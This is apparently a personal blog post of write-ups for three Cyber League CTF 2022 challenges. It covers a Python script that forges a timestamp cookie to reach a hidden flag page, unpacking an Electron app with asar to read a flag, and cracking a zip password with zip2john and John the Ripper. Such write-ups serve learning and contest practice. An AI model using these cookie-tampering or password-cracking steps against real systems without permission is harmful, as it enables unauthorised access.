Post

Cyber League CTF 2022 - Writeups ๐Ÿšฉ

Didnโ€™t really have much time to tackle a lot of the challenges with this CTF and only managed to pwn 3 of them. A big shoutout to my team mates Mocha and Dante for a lot of initial enumerations! I just mainly followed their leads ๐Ÿ˜…

Simulated bomb drill

This is the first challenge for the web category in cyber leagueโ€™s CTF. A web endpoint is given for us to start enumerating. When you first hit the main page you are issued a base64 encoded cookie that contains the time in the following format.

2022-05-01 12:41:35.329922

From the time format given above, note that there are microseconds. This was missed initially as our team enumerates for possible way to exploit this cookie. During the initial request to the main page and by the time the cookie is issued, a few microseconds have already passed.

blown

Above is an illustration of the time line. So

  • If you visit with the issued cookie under a minute to /defuse page, you will fail.
  • If you also modified the cookie to be one minute earlier, you will still fail.

cookie

The above is the screenshot of the main page with issued cookie.

Since the bomb needs to be defused with 0 microseconds passed from the time of request (not the time of cookie issued), it is physically impossible to do this by hand. So the best way is to script this out in python. The algorithm to get the flag endpoint is as below.

  1. Decode the base64 time from cookie
  2. Measure the time elasped from the first request
  3. Minus off the time elasped from the cookie time
  4. Encode the new time into the cookie and send the request

We can code the above steps as below in python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import base64

s = requests.Session()

res = s.get('http://13.213.72.54:5003/')

# Get time elapsed in microseconds
time_elapsed = res.elapsed
time_elapsed = time_elapsed.total_seconds()
print(res.elapsed)
# 0:00:00.019976


time_to_decode = s.cookies.get_dict()['princesspeach']
decoded_datetime = base64.b64decode(time_to_decode).decode('utf-8')
# '2022-05-01 12:41:35.329922'
decoded_time = decoded_datetime.split('.')
# ['2022-05-01 12:41:35', '308641']
decoded_microseconds = decoded_datetime.split('.')[1]
# '329922'
decoded_microseconds_in_seconds = int(decoded_microseconds)/1000000
# 0.329922

new_time = decoded_microseconds_in_seconds - time_elapsed
new_time_in_microseconds = int(new_time * 1000000)
# 308641

decoded_time[1] = str(new_time_in_microseconds)

to_encode = ''.join(decoded_time)
# '2022-05-01 12:41:35308641'
encoded_time = base64.b64encode(bytes(to_encode, 'utf-8'))
# b'MjAyMi0wNS0wMSAxMjo0MTozNTMwODY0MQ=='

s.cookies['princesspeach'] = encoded_time
res = s.get('http://13.213.72.54:5003/defuse')
print(res.content)

""" >>> print(res.content)
b'<!DOCTYPE html>\n<html>\n<head>\n <title></title>\n <meta charset="utf-8" />\n</head><body>\n<div class="bd-example" align="middle">\n\n<img src="/static/712a8b4446afb5d43da0dea63cd1c13b.jpg"align="middle" />\n\n</div>\n</body>\n</html>' """

We managed the get the flag endpoint like below.

1
<img src="/static/712a8b4446afb5d43da0dea63cd1c13b.jpg"align="middle" />

Visit the endpoint and you will be able to get the flag.

flag

Write farewell letters

This challenge is the misc category of the CTF. 3 types of installation files are given with flag hidden. .dmg .exe and .appimage. You simply have to run them to get the binary file to run the application.

The application is doing nothing much but hiding and showing the message as below.

yoda

I had my suspicion that this could be an electron app. To decompile it we can use npmโ€™s asar to extract the source code. Below is the capture of how i extracted out the electron source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
โžœ  cyleague cd peekaboo.app 
โžœ  peekaboo.app cd Contents 
โžœ  Contents cd Resources 
โžœ  Resources ls
am.lproj      de.lproj      fi.lproj      id.lproj      mr.lproj      ro.lproj      te.lproj
app.asar      el.lproj      fil.lproj     it.lproj      ms.lproj      ru.lproj      th.lproj
ar.lproj      en.lproj      fr.lproj      ja.lproj      nb.lproj      sk.lproj      tr.lproj
bg.lproj      en_GB.lproj   gu.lproj      kn.lproj      nl.lproj      sl.lproj      uk.lproj
bn.lproj      es.lproj      he.lproj      ko.lproj      peekaboo.icns sr.lproj      vi.lproj
ca.lproj      es_419.lproj  hi.lproj      lt.lproj      pl.lproj      sv.lproj      zh_CN.lproj
cs.lproj      et.lproj      hr.lproj      lv.lproj      pt_BR.lproj   sw.lproj      zh_TW.lproj
da.lproj      fa.lproj      hu.lproj      ml.lproj      pt_PT.lproj   ta.lproj
โžœ  Resources mkdir decompile-electron
โžœ  Resources asar extract app.asar decompile-electron 
โžœ  Resources cd decompile-electron 
โžœ  decompile-electron code .

After decompiling, we open the source code in electron to analyse. From root folder navigate to js folder to index.js as below.

In js > index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var visibilitySetting = 'hidden'

function load() {
    document.getElementById('showButton').innerHTML = 'show'
}

function showVersions() {
    if (visibilitySetting === 'visible') {
        visibilitySetting = 'hidden'
        document.getElementById('versions').style.visibility = 'hidden'
        document.getElementById('showButton').innerHTML = 'show'
    }
    else {
        visibilitySetting = 'visible'
        document.getElementById('versions').style.visibility =' visible'
        document.getElementById('showButton').innerHTML = 'hide'
    }
}

function shinyKnob() {
    console.log('CYBERLEAGUE{7h3_cu73n355_15_5720n9_w17h_7h15_0n3}')
}

Understand space politics

This is a forensics challenge where challengers are given a .7z file with flag text underneath. The challenge is straightfoward to crack the zip file password to get the flag. Below is the capture of using zip2john to crack the zip file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Documents]
โ””โ”€$ zip2john hello_there.zip > ziphashes
ver 2.0 hello_there.zip/hello_there.txt PKZIP Encr: cmplen=41, decmplen=29, crc=87D14E54 ts=A8AF cs=87d1 type=0
                                                       
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Documents]
โ””โ”€$ cat ziphashes 
hello_there.zip/hello_there.txt:$pkzip$1*1*2*0*29*1d*87d14e54*0*2d*0*29*87d1*8facba0e3e10e650ad9dc1fc89e000dfcff60fe4858a519eb33e8f1f9380a9633f39729fb0e101c9eb*$/pkzip$:hello_there.txt:hello_there.zip::hello_there.zip
                                                       
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Documents]
โ””โ”€$ john ziphashes 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
2hot4u           (hello_there.zip/hello_there.txt)     
1g 0:00:00:02 DONE 3/3 (2022-05-01 09:13) 0.3521g/s 2067Kp/s 2067Kc/s 2067KC/s cjjlip..2hul83
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

The password is 2hot4u to extract out the flag.

1
2
3
4
5
6
7
8
9
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Documents]
โ””โ”€$ unzip hello_there.zip 
Archive:  hello_there.zip
[hello_there.zip] hello_there.txt password: 
 extracting: hello_there.txt         
                                                       
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Documents]
โ””โ”€$ cat hello_there.txt 
CYBERLEAGUE{Y0U_Fo|_|nD_3e!}
This post is licensed under CC BY 4.0 by the author.